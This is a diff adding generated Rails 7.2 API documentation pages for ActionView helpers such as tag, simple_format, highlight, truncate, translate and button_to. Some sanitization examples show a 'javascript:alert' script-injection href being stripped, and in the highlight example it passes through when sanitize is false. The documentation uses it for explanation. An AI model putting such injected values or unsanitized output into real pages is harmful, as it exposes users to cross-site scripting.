+ + tag(name = nil, options = nil, open = false, escape = true) + +

+ + +
+

Returns an HTML tag.

+ +

Building HTML tags

+ +

Builds HTML5 compliant tags with a tag proxy. Every tag can be built with:

+ +
tag.<tag name>(optional content, options)
+
+ +

where tag name can be e.g. br, div, section, article, or any tag really.

+ +

Passing content

+ +

Tags can pass content to embed within it:

+ +
tag.h1 'All titles fit to print' # => <h1>All titles fit to print</h1>
+
+tag.div tag.p('Hello world!')  # => <div><p>Hello world!</p></div>
+
+ +

Content can also be captured with a block, which is useful in templates:

+ +
<%= tag.p do %>
+  The next great American novel starts here.
+<% end %>
+# => <p>The next great American novel starts here.</p>
+
+ +

Options

+ +

Use symbol keyed options to add attributes to the generated tag.

+ +
tag.section class: %w( kitties puppies )
+# => <section class="kitties puppies"></section>
+
+tag.section id: dom_id(@post)
+# => <section id="<generated dom id>"></section>
+
+ +

Pass true for any attributes that can render with no values, like disabled and readonly.

+ +
tag.input type: 'text', disabled: true
+# => <input type="text" disabled="disabled">
+
+ +

HTML5 data-* and aria-* attributes can be set with a single data or aria key pointing to a hash of sub-attributes.

+ +

To play nicely with JavaScript conventions, sub-attributes are dasherized.

+ +
tag.article data: { user_id: 123 }
+# => <article data-user-id="123"></article>
+
+ +

Thus data-user-id can be accessed as dataset.userId.

+ +

Data attribute values are encoded to JSON, with the exception of strings, symbols, and BigDecimals. This may come in handy when using jQuery’s HTML5-aware .data() from 1.4.3.

+ +
tag.div data: { city_state: %w( Chicago IL ) }
+# => <div data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]"></div>
+
+ +

The generated tag names and attributes are escaped by default. This can be disabled using escape.

+ +
tag.img src: 'open & shut.png'
+# => <img src="open &amp; shut.png">
+
+tag.img src: 'open & shut.png', escape: false
+# => <img src="open & shut.png">
+
+ +

The tag builder respects HTML5 void elements if no content is passed, and omits closing tags for those elements.

+ +
# A standard element:
+tag.div # => <div></div>
+
+# A void element:
+tag.br  # => <br>
+
+ +

Note that when using the block form options should be wrapped in parenthesis.

+ +
<%= tag.a(href: "/about", class: "font-bold") do %>
+  About the author
+<% end %>
+# => <a href="/about" class="font-bold">About the author</a>
+
+ +

Building HTML attributes

+ +

Transforms a Hash into HTML attributes, ready to be interpolated into ERB. Includes or omits boolean attributes based on their truthiness. Transforms keys nested within aria: or data: objects into aria- and data- prefixed attributes:

+ +
<input <%= tag.attributes(type: :text, aria: { label: "Search" }) %>>
+# => <input type="text" aria-label="Search">
+
+<button <%= tag.attributes id: "call-to-action", disabled: false, aria: { expanded: false } %> class="primary">Get Started!</button>
+# => <button id="call-to-action" aria-expanded="false" class="primary">Get Started!</button>
+
+ +

Legacy syntax

+ +

The following format is for legacy syntax support. It will be deprecated in future versions of Rails.

+ +
tag(name, options = nil, open = false, escape = true)
+
+ +

It returns an empty HTML tag of type name which by default is XHTML compliant. Set open to true to create an open tag compatible with HTML 4.0 and below. Add HTML attributes by passing an attributes hash to options. Set escape to false to disable attribute value escaping.

+ +

Options

+ +

You can use symbols or strings for the attribute names.

+ +

Use true with boolean attributes that can render with no value, like disabled and readonly.

+ +

HTML5 data-* attributes can be set with a single data key pointing to a hash of sub-attributes.

+ +

Examples

+ +
tag("br")
+# => <br />
+
+tag("br", nil, true)
+# => <br>
+
+tag("input", type: 'text', disabled: true)
+# => <input type="text" disabled="disabled" />
+
+tag("input", type: 'text', class: ["strong", "highlight"])
+# => <input class="strong highlight" type="text" />
+
+tag("img", src: "open & shut.png")
+# => <img src="open &amp; shut.png" />
+
+tag("img", { src: "open &amp; shut.png" }, false, false)
+# => <img src="open &amp; shut.png" />
+
+tag("div", data: { name: 'Stephen', city_state: %w(Chicago IL) })
+# => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
+
+tag("div", class: { highlight: current_user.admin? })
+# => <div class="highlight" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/tag_helper.rb, line 492
+      def tag(name = nil, options = nil, open = false, escape = true)
+        if name.nil?
+          tag_builder
+        else
+          ensure_valid_html5_tag_name(name)
+          "<#{name}#{tag_builder.tag_options(options, escape) if options}#{open ? ">" : " />"}".html_safe
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + token_list(*args) + +

+ + +
+

Returns a string of tokens built from args.

+ +

Examples

+ +
token_list("foo", "bar")
+ # => "foo bar"
+token_list("foo", "foo bar")
+ # => "foo bar"
+token_list({ foo: true, bar: false })
+ # => "foo"
+token_list(nil, false, 123, "", "foo", { bar: true })
+ # => "123 foo bar"
+
+
+ + + +
+ Also aliased as: class_names +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/tag_helper.rb, line 551
+      def token_list(*args)
+        tokens = build_tag_values(*args).flat_map { |value| CGI.unescape_html(value.to_s).split(/\s+/) }.uniq
+
+        safe_join(tokens, " ")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/Tags.html b/src/7.2/classes/ActionView/Helpers/Tags.html new file mode 100644 index 0000000000..fb57d3963e --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/Tags.html @@ -0,0 +1,149 @@ +--- +title: ActionView::Helpers::Tags +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/TextHelper.html b/src/7.2/classes/ActionView/Helpers/TextHelper.html new file mode 100644 index 0000000000..7fbc4e7c2f --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/TextHelper.html @@ -0,0 +1,898 @@ +--- +title: ActionView::Helpers::TextHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View Text Helpers

+ +

The TextHelper module provides a set of methods for filtering, formatting and transforming strings, which can reduce the amount of inline Ruby code in your views. These helper methods extend Action View making them callable within your template files.

+ +

Sanitization

+ +

Most text helpers that generate HTML output sanitize the given input by default, but do not escape it. This means HTML tags will appear in the page but all malicious code will be removed. Let’s look at some examples using the simple_format method:

+ +
simple_format('<a href="http://example.com/">Example</a>')
+# => "<p><a href=\"http://example.com/\">Example</a></p>"
+
+simple_format('<a href="javascript:alert(\'no!\')">Example</a>')
+# => "<p><a>Example</a></p>"
+
+ +

If you want to escape all content, you should invoke the h method before calling the text helper.

+ +
simple_format h('<a href="http://example.com/">Example</a>')
+# => "<p>&lt;a href=\"http://example.com/\"&gt;Example&lt;/a&gt;</p>"
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + concat(string) + +

+ + +
+

The preferred method of outputting text in your views is to use the <%= "text" %> eRuby syntax. The regular puts and print methods do not operate as expected in an eRuby code block. If you absolutely must output text within a non-output code block (i.e., <% %>), you can use the concat method.

+ +
<% concat "hello" %> is equivalent to <%= "hello" %>
+
+<%
+   unless signed_in?
+     concat link_to("Sign In", action: :sign_in)
+   end
+%>
+
+is equivalent to
+
+<% unless signed_in? %>
+  <%= link_to "Sign In", action: :sign_in %>
+<% end %>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/text_helper.rb, line 63
+      def concat(string)
+        output_buffer << string
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + current_cycle(name = "default") + +

+ + +
+

Returns the current cycle string after a cycle has been started. Useful for complex table highlighting or any other design need which requires the current cycle string in more than one place.

+ +
<%# Alternate background colors %>
+<% @items = [1,2,3,4] %>
+<% @items.each do |item| %>
+  <div style="background-color:<%= cycle("red","white","blue") %>">
+    <span style="background-color:<%= current_cycle %>"><%= item %></span>
+  </div>
+<% end %>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/text_helper.rb, line 454
+      def current_cycle(name = "default")
+        cycle = get_cycle(name)
+        cycle.current_value if cycle
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cycle(first_value, *values) + +

+ + +
+

Creates a Cycle object whose to_s method cycles through elements of an array every time it is called. This can be used for example, to alternate classes for table rows. You can use named cycles to allow nesting in loops. Passing a Hash as the last parameter with a :name key will create a named cycle. The default name for a cycle without a :name key is "default". You can manually reset a cycle by calling reset_cycle and passing the name of the cycle. The current cycle string can be obtained anytime using the current_cycle method.

+ +
 <%# Alternate CSS classes for even and odd numbers... %>
+ <% @items = [1,2,3,4] %>
+ <table>
+ <% @items.each do |item| %>
+   <tr class="<%= cycle("odd", "even") -%>">
+     <td><%= item %></td>
+   </tr>
+ <% end %>
+ </table>
+
+ <%# Cycle CSS classes for rows, and text colors for values within each row %>
+ <% @items = [
+   { first: "Robert", middle: "Daniel", last: "James" },
+   { first: "Emily", middle: "Shannon", maiden: "Pike", last: "Hicks" },
+   { first: "June", middle: "Dae", last: "Jones" },
+ ] %>
+ <% @items.each do |item| %>
+   <tr class="<%= cycle("odd", "even", name: "row_class") -%>">
+     <td>
+       <% item.values.each do |value| %>
+         <%# Create a named cycle "colors" %>
+         <span style="color:<%= cycle("red", "green", "blue", name: "colors") -%>">
+           <%= value %>
+         </span>
+       <% end %>
+       <% reset_cycle("colors") %>
+     </td>
+  </tr>
+<% end %>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/text_helper.rb, line 430
+      def cycle(first_value, *values)
+        options = values.extract_options!
+        name = options.fetch(:name, "default")
+
+        values.unshift(*first_value)
+
+        cycle = get_cycle(name)
+        unless cycle && cycle.values == values
+          cycle = set_cycle(name, Cycle.new(*values))
+        end
+        cycle.to_s
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + excerpt(text, phrase, options = {}) + +

+ + +
+

Extracts the first occurrence of phrase plus surrounding text from text. An omission marker is prepended / appended if the start / end of the result does not coincide with the start / end of text. The result is always stripped in any case. Returns nil if phrase isn’t found.

+ +

Options

+
:radius +
+

The number of characters (or tokens β€” see :separator option) around phrase to include in the result. Defaults to 100.

+
:omission +
+

The marker to prepend / append when the start / end of the excerpt does not coincide with the start / end of text. Defaults to "...".

+
:separator +
+

The separator between tokens to count for :radius. Defaults to "", which treats each character as a token.

+
+ +

Examples

+ +
excerpt('This is an example', 'an', radius: 5)
+# => "...s is an exam..."
+
+excerpt('This is an example', 'is', radius: 5)
+# => "This is a..."
+
+excerpt('This is an example', 'is')
+# => "This is an example"
+
+excerpt('This next thing is an example', 'ex', radius: 2)
+# => "...next..."
+
+excerpt('This is also an example', 'an', radius: 8, omission: '<chop> ')
+# => "<chop> is also an example"
+
+excerpt('This is a very beautiful morning', 'very', separator: ' ', radius: 1)
+# => "...a very beautiful..."
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/text_helper.rb, line 235
+      def excerpt(text, phrase, options = {})
+        return unless text && phrase
+
+        separator = options.fetch(:separator, nil) || ""
+        case phrase
+        when Regexp
+          regex = phrase
+        else
+          regex = /#{Regexp.escape(phrase)}/i
+        end
+
+        return unless matches = text.match(regex)
+        phrase = matches[0]
+
+        unless separator.empty?
+          text.split(separator).each do |value|
+            if value.match?(regex)
+              phrase = value
+              break
+            end
+          end
+        end
+
+        first_part, second_part = text.split(phrase, 2)
+
+        prefix, first_part   = cut_excerpt_part(:first, first_part, separator, options)
+        postfix, second_part = cut_excerpt_part(:second, second_part, separator, options)
+
+        affix = [first_part, separator, phrase, separator, second_part].join.strip
+        [prefix, affix, postfix].join
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + highlight(text, phrases, options = {}, &block) + +

+ + +
+

Highlights occurrences of phrases in text by formatting them with a highlighter string. phrases can be one or more strings or regular expressions. The result will be marked HTML safe. By default, text is sanitized before highlighting to prevent possible XSS attacks.

+ +

If a block is specified, it will be used instead of the highlighter string. Each occurrence of a phrase will be passed to the block, and its return value will be inserted into the final result.

+ +

Options

+
:highlighter +
+

The highlighter string. Uses \1 as the placeholder for a phrase, similar to +String#sub+. Defaults to "<mark>\1</mark>". This option is ignored if a block is specified.

+
:sanitize +
+

Whether to sanitize text before highlighting. Defaults to true.

+
+ +

Examples

+ +
highlight('You searched for: rails', 'rails')
+# => "You searched for: <mark>rails</mark>"
+
+highlight('You searched for: rails', /for|rails/)
+# => "You searched <mark>for</mark>: <mark>rails</mark>"
+
+highlight('You searched for: ruby, rails, dhh', 'actionpack')
+# => "You searched for: ruby, rails, dhh"
+
+highlight('You searched for: rails', ['for', 'rails'], highlighter: '<em>\1</em>')
+# => "You searched <em>for</em>: <em>rails</em>"
+
+highlight('You searched for: rails', 'rails', highlighter: '<a href="search?q=\1">\1</a>')
+# => "You searched for: <a href=\"search?q=rails\">rails</a>"
+
+highlight('You searched for: rails', 'rails') { |match| link_to(search_path(q: match)) }
+# => "You searched for: <a href=\"search?q=rails\">rails</a>"
+
+highlight('<a href="javascript:alert(\'no!\')">ruby</a> on rails', 'rails', sanitize: false)
+# => "<a href=\"javascript:alert('no!')\">ruby</a> on <mark>rails</mark>"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/text_helper.rb, line 174
+      def highlight(text, phrases, options = {}, &block)
+        text = sanitize(text) if options.fetch(:sanitize, true)
+
+        if text.blank? || phrases.blank?
+          text || ""
+        else
+          patterns = Array(phrases).map { |phrase| Regexp === phrase ? phrase : Regexp.escape(phrase) }
+          pattern = /(#{patterns.join("|")})/i
+          highlighter = options.fetch(:highlighter, '<mark>\1</mark>') unless block
+
+          text.scan(/<[^>]*|[^<]+/).each do |segment|
+            if !segment.start_with?("<")
+              if block
+                segment.gsub!(pattern, &block)
+              else
+                segment.gsub!(pattern, highlighter)
+              end
+            end
+          end.join
+        end.html_safe
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pluralize(count, singular, plural_arg = nil, plural: plural_arg, locale: I18n.locale) + +

+ + +
+

Attempts to pluralize the singular word unless count is 1. If plural is supplied, it will use that when count is > 1, otherwise it will use the Inflector to determine the plural form for the given locale, which defaults to I18n.locale.

+ +

The word will be pluralized using rules defined for the locale (you must define your own inflection rules for languages other than English). See ActiveSupport::Inflector.pluralize

+ +
pluralize(1, 'person')
+# => "1 person"
+
+pluralize(2, 'person')
+# => "2 people"
+
+pluralize(3, 'person', plural: 'users')
+# => "3 users"
+
+pluralize(0, 'person')
+# => "0 people"
+
+pluralize(2, 'Person', locale: :de)
+# => "2 Personen"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/text_helper.rb, line 290
+      def pluralize(count, singular, plural_arg = nil, plural: plural_arg, locale: I18n.locale)
+        word = if count == 1 || count.to_s.match?(/^1(\.0+)?$/)
+          singular
+        else
+          plural || singular.pluralize(locale)
+        end
+
+        "#{count || 0} #{word}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset_cycle(name = "default") + +

+ + +
+

Resets a cycle so that it starts from the first element the next time it is called. Pass in name to reset a named cycle.

+ +
<%# Alternate CSS classes for even and odd numbers... %>
+<% @items = [[1,2,3,4], [5,6,3], [3,4,5,6,7,4]] %>
+<table>
+<% @items.each do |item| %>
+  <tr class="<%= cycle("even", "odd") -%>">
+      <% item.each do |value| %>
+        <span style="color:<%= cycle("#333", "#666", "#999", name: "colors") -%>">
+          <%= value %>
+        </span>
+      <% end %>
+
+      <% reset_cycle("colors") %>
+  </tr>
+<% end %>
+</table>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/text_helper.rb, line 477
+      def reset_cycle(name = "default")
+        cycle = get_cycle(name)
+        cycle.reset if cycle
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + safe_concat(string) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/text_helper.rb, line 67
+      def safe_concat(string)
+        output_buffer.respond_to?(:safe_concat) ? output_buffer.safe_concat(string) : concat(string)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + simple_format(text, html_options = {}, options = {}) + +

+ + +
+

Returns text transformed into HTML using simple formatting rules. Two or more consecutive newlines (\n\n or \r\n\r\n) are considered a paragraph and wrapped in <p> tags. One newline (\n or \r\n) is considered a linebreak and a <br /> tag is appended. This method does not remove the newlines from the text.

+ +

You can pass any HTML attributes into html_options. These will be added to all created paragraphs.

+ +

Options

+
  • +

    :sanitize - If false, does not sanitize text.

    +
  • +

    :sanitize_options - Any extra options you want appended to the sanitize.

    +
  • +

    :wrapper_tag - String representing the wrapper tag, defaults to "p"

    +
+ +

Examples

+ +
my_text = "Here is some basic text...\n...with a line break."
+
+simple_format(my_text)
+# => "<p>Here is some basic text...\n<br />...with a line break.</p>"
+
+simple_format(my_text, {}, wrapper_tag: "div")
+# => "<div>Here is some basic text...\n<br />...with a line break.</div>"
+
+more_text = "We want to put a paragraph...\n\n...right there."
+
+simple_format(more_text)
+# => "<p>We want to put a paragraph...</p>\n\n<p>...right there.</p>"
+
+simple_format("Look ma! A class!", class: 'description')
+# => "<p class='description'>Look ma! A class!</p>"
+
+simple_format("<blink>Unblinkable.</blink>")
+# => "<p>Unblinkable.</p>"
+
+simple_format("<blink>Blinkable!</blink> It's true.", {}, sanitize: false)
+# => "<p><blink>Blinkable!</blink> It's true.</p>"
+
+simple_format("<a target=\"_blank\" href=\"http://example.com\">Continue</a>", {}, { sanitize_options: { attributes: %w[target href] } })
+# => "<p><a target=\"_blank\" href=\"http://example.com\">Continue</a></p>"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/text_helper.rb, line 376
+      def simple_format(text, html_options = {}, options = {})
+        wrapper_tag = options[:wrapper_tag] || "p"
+
+        text = sanitize(text, options.fetch(:sanitize_options, {})) if options.fetch(:sanitize, true)
+        paragraphs = split_paragraphs(text)
+
+        if paragraphs.empty?
+          content_tag(wrapper_tag, nil, html_options)
+        else
+          paragraphs.map! { |paragraph|
+            content_tag(wrapper_tag, raw(paragraph), html_options)
+          }.join("\n\n").html_safe
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + truncate(text, options = {}, &block) + +

+ + +
+

Truncates text if it is longer than a specified :length. If text is truncated, an omission marker will be appended to the result for a total length not exceeding :length.

+ +

You can also pass a block to render and append extra content after the omission marker when text is truncated. However, this content can cause the total length to exceed :length characters.

+ +

The result will be escaped unless escape: false is specified. In any case, the result will be marked HTML-safe. Care should be taken if text might contain HTML tags or entities, because truncation could produce invalid HTML, such as unbalanced or incomplete tags.

+ +

Options

+
:length +
+

The maximum number of characters that should be returned, excluding any extra content from the block. Defaults to 30.

+
:omission +
+

The string to append after truncating. Defaults to "...".

+
:separator +
+

A string or regexp used to find a breaking point at which to truncate. By default, truncation can occur at any character in text.

+
:escape +
+

Whether to escape the result. Defaults to true.

+
+ +

Examples

+ +
truncate("Once upon a time in a world far far away")
+# => "Once upon a time in a world..."
+
+truncate("Once upon a time in a world far far away", length: 17)
+# => "Once upon a ti..."
+
+truncate("Once upon a time in a world far far away", length: 17, separator: ' ')
+# => "Once upon a..."
+
+truncate("And they found that many people were sleeping better.", length: 25, omission: '... (continued)')
+# => "And they f... (continued)"
+
+truncate("<p>Once upon a time in a world far far away</p>")
+# => "&lt;p&gt;Once upon a time in a wo..."
+
+truncate("<p>Once upon a time in a world far far away</p>", escape: false)
+# => "<p>Once upon a time in a wo..."
+
+truncate("Once upon a time in a world far far away") { link_to "Continue", "#" }
+# => "Once upon a time in a world...<a href=\"#\">Continue</a>"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/text_helper.rb, line 122
+      def truncate(text, options = {}, &block)
+        if text
+          length  = options.fetch(:length, 30)
+
+          content = text.truncate(length, options)
+          content = options[:escape] == false ? content.html_safe : ERB::Util.html_escape(content)
+          content << capture(&block) if block_given? && text.length > length
+          content
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + word_wrap(text, line_width: 80, break_sequence: "\n") + +

+ + +
+

Wraps the text into lines no longer than line_width width. This method breaks on the first whitespace character that does not exceed line_width (which is 80 by default).

+ +
word_wrap('Once upon a time')
+# => "Once upon a time"
+
+word_wrap('Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding a successor to the throne turned out to be more trouble than anyone could have imagined...')
+# => "Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding\na successor to the throne turned out to be more trouble than anyone could have\nimagined..."
+
+word_wrap('Once upon a time', line_width: 8)
+# => "Once\nupon a\ntime"
+
+word_wrap('Once upon a time', line_width: 1)
+# => "Once\nupon\na\ntime"
+
+ +

You can also specify a custom break_sequence (β€œn” by default):

+ +
word_wrap('Once upon a time', line_width: 1, break_sequence: "\r\n")
+# => "Once\r\nupon\r\na\r\ntime"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/text_helper.rb, line 320
+      def word_wrap(text, line_width: 80, break_sequence: "\n")
+        return +"" if text.empty?
+
+        # Match up to `line_width` characters, followed by one of
+        #   (1) non-newline whitespace plus an optional newline
+        #   (2) the end of the string, ignoring any trailing newlines
+        #   (3) a newline
+        #
+        # -OR-
+        #
+        # Match an empty line
+        pattern = /(.{1,#{line_width}})(?:[^\S\n]+\n?|\n*\Z|\n)|\n/
+
+        text.gsub(pattern, "\\1#{break_sequence}").chomp!(break_sequence)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/TranslationHelper.html b/src/7.2/classes/ActionView/Helpers/TranslationHelper.html new file mode 100644 index 0000000000..58acabd6cc --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/TranslationHelper.html @@ -0,0 +1,309 @@ +--- +title: ActionView::Helpers::TranslationHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View Translation Helpers

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + raise_on_missing_translations
+ + + + + +

Instance Public methods

+ +
+

+ + l(object, **options) + +

+ + +
+ +
+ + + + + +
+ Alias for: localize +
+ + + + +
+ +
+

+ + localize(object, **options) + +

+ + +
+

Delegates to I18n.localize with no additional functionality.

+ +

See www.rubydoc.info/gems/i18n/I18n/Backend/Base:localize for more information.

+
+ + + +
+ Also aliased as: l +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/translation_helper.rb, line 116
+      def localize(object, **options)
+        I18n.localize(object, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + t(key, **options) + +

+ + +
+ +
+ + + + + +
+ Alias for: translate +
+ + + + +
+ +
+

+ + translate(key, **options) + +

+ + +
+

Delegates to I18n#translate but also performs three additional functions.

+ +

First, it will ensure that any thrown MissingTranslation messages will be rendered as inline spans that:

+
  • +

    Have a translation-missing class applied

    +
  • +

    Contain the missing key as the value of the title attribute

    +
  • +

    Have a titleized version of the last key segment as text

    +
+ +

For example, the value returned for the missing translation key "blog.post.title" will be:

+ +
<span
+  class="translation_missing"
+  title="translation missing: en.blog.post.title">Title</span>
+
+ +

This allows for views to display rather reasonable strings while still giving developers a way to find missing translations.

+ +

If you would prefer missing translations to raise an error, you can opt out of span-wrapping behavior globally by setting config.i18n.raise_on_missing_translations = true or individually by passing raise: true as an option to translate.

+ +

Second, if the key starts with a period translate will scope the key by the current partial. Calling translate(".foo") from the people/index.html.erb template is equivalent to calling translate("people.index.foo"). This makes it less repetitive to translate many keys within the same partial and provides a convention to scope keys consistently.

+ +

Third, the translation will be marked as html_safe if the key has the suffix β€œ_html” or the last element of the key is β€œhtml”. Calling translate("footer_html") or translate("footer.html") will return an HTML safe string that won’t be escaped by other HTML helper methods. This naming convention helps to identify translations that include HTML tags so that you know what kind of output to expect when you call translate in a template and translators know which keys they can provide HTML values for.

+ +

To access the translated text along with the fully resolved translation key, translate accepts a block:

+ +
<%= translate(".relative_key") do |translation, resolved_key| %>
+  <span title="<%= resolved_key %>"><%= translation %></span>
+<% end %>
+
+ +

This enables annotate translated text to be aware of the scope it was resolved against.

+
+ + + +
+ Also aliased as: t +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/translation_helper.rb, line 73
+      def translate(key, **options)
+        return key.map { |k| translate(k, **options) } if key.is_a?(Array)
+        key = key&.to_s unless key.is_a?(Symbol)
+
+        alternatives = if options.key?(:default)
+          options[:default].is_a?(Array) ? options.delete(:default).compact : [options.delete(:default)]
+        end
+
+        options[:raise] = true if options[:raise].nil? && TranslationHelper.raise_on_missing_translations
+        default = MISSING_TRANSLATION
+
+        translation = while key || alternatives.present?
+          if alternatives.blank? && !options[:raise].nil?
+            default = NO_DEFAULT # let I18n handle missing translation
+          end
+
+          key = scope_key_by_partial(key)
+
+          translated = ActiveSupport::HtmlSafeTranslation.translate(key, **options, default: default)
+
+          break translated unless translated == MISSING_TRANSLATION
+
+          if alternatives.present? && !alternatives.first.is_a?(Symbol)
+            break alternatives.first && I18n.translate(nil, **options, default: alternatives)
+          end
+
+          first_key ||= key
+          key = alternatives&.shift
+        end
+
+        if key.nil? && !first_key.nil?
+          translation = missing_translation(first_key, options)
+          key = first_key
+        end
+
+        block_given? ? yield(translation, key) : translation
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/UrlHelper.html b/src/7.2/classes/ActionView/Helpers/UrlHelper.html new file mode 100644 index 0000000000..f64ea1568c --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/UrlHelper.html @@ -0,0 +1,1062 @@ +--- +title: ActionView::Helpers::UrlHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View URL Helpers

+ +

Provides a set of methods for making links and getting URLs that depend on the routing subsystem (see ActionDispatch::Routing). This allows you to use the same format for links in views and controllers.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BUTTON_TAG_METHOD_VERBS=%w{patch put delete}
 

This helper may be included in any class that includes the URL helpers of a routes (routes.url_helpers). Some methods provided here will only work in the context of a request (link_to_unless_current, for instance), which must be provided as a method called request on the context.

RFC2396_PARSER=defined?(URI::RFC2396_PARSER) ? URI::RFC2396_PARSER : URI::RFC2396_Parser.new
STRINGIFIED_COMMON_METHODS={ +get: "get", +delete: "delete", +patch: "patch", +post: "post", +put: "put", +}.freeze
+ + + + + + + +

Instance Public methods

+ +
+

+ + button_to(name = nil, options = nil, html_options = nil, &block) + +

+ + +
+

Generates a form containing a single button that submits to the URL created by the set of options. This is the safest method to ensure links that cause changes to your data are not triggered by search bots or accelerators.

+ +

You can control the form and button behavior with html_options. Most values in html_options are passed through to the button element. For example, passing a :class option within html_options will set the class attribute of the button element.

+ +

The class attribute of the form element can be set by passing a :form_class option within html_options. It defaults to "button_to" to allow styling of the form and its children.

+ +

The form submits a POST request by default if the object is not persisted; conversely, if the object is persisted, it will submit a PATCH request. To specify a different HTTP verb use the :method option within html_options.

+ +

If the HTML button generated from button_to does not work with your layout, you can consider using the link_to method with the data-turbo-method attribute as described in the link_to documentation.

+ +

Options

+ +

The options hash accepts the same options as url_for. To generate a <form> element without an [action] attribute, pass false:

+ +
<%= button_to "New", false %>
+# => "<form method="post" class="button_to">
+#      <button type="submit">New</button>
+#      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+#    </form>"
+
+ +

Most values in html_options are passed through to the button element, but there are a few special options:

+
  • +

    :method - Symbol of HTTP verb. Supported verbs are :post, :get, :delete, :patch, and :put. By default it will be :post.

    +
  • +

    :disabled - If set to true, it will generate a disabled button.

    +
  • +

    :data - This option can be used to add custom data attributes.

    +
  • +

    :form - This hash will be form attributes

    +
  • +

    :form_class - This controls the class of the form within which the submit button will be placed

    +
  • +

    :params - Hash of parameters to be rendered as hidden fields within the form.

    +
+ +

Examples

+ +
<%= button_to "New", action: "new" %>
+# => "<form method="post" action="/controller/new" class="button_to">
+#      <button type="submit">New</button>
+#      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6" autocomplete="off"/>
+#    </form>"
+
+<%= button_to "New", new_article_path %>
+# => "<form method="post" action="/articles/new" class="button_to">
+#      <button type="submit">New</button>
+#      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6" autocomplete="off"/>
+#    </form>"
+
+<%= button_to "New", new_article_path, params: { time: Time.now  } %>
+# => "<form method="post" action="/articles/new" class="button_to">
+#      <button type="submit">New</button>
+#      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+#      <input type="hidden" name="time" value="2021-04-08 14:06:09 -0500" autocomplete="off">
+#    </form>"
+
+<%= button_to [:make_happy, @user] do %>
+  Make happy <strong><%= @user.name %></strong>
+<% end %>
+# => "<form method="post" action="/users/1/make_happy" class="button_to">
+#      <button type="submit">
+#        Make happy <strong><%= @user.name %></strong>
+#      </button>
+#      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"  autocomplete="off"/>
+#    </form>"
+
+<%= button_to "New", { action: "new" }, form_class: "new-thing" %>
+# => "<form method="post" action="/controller/new" class="new-thing">
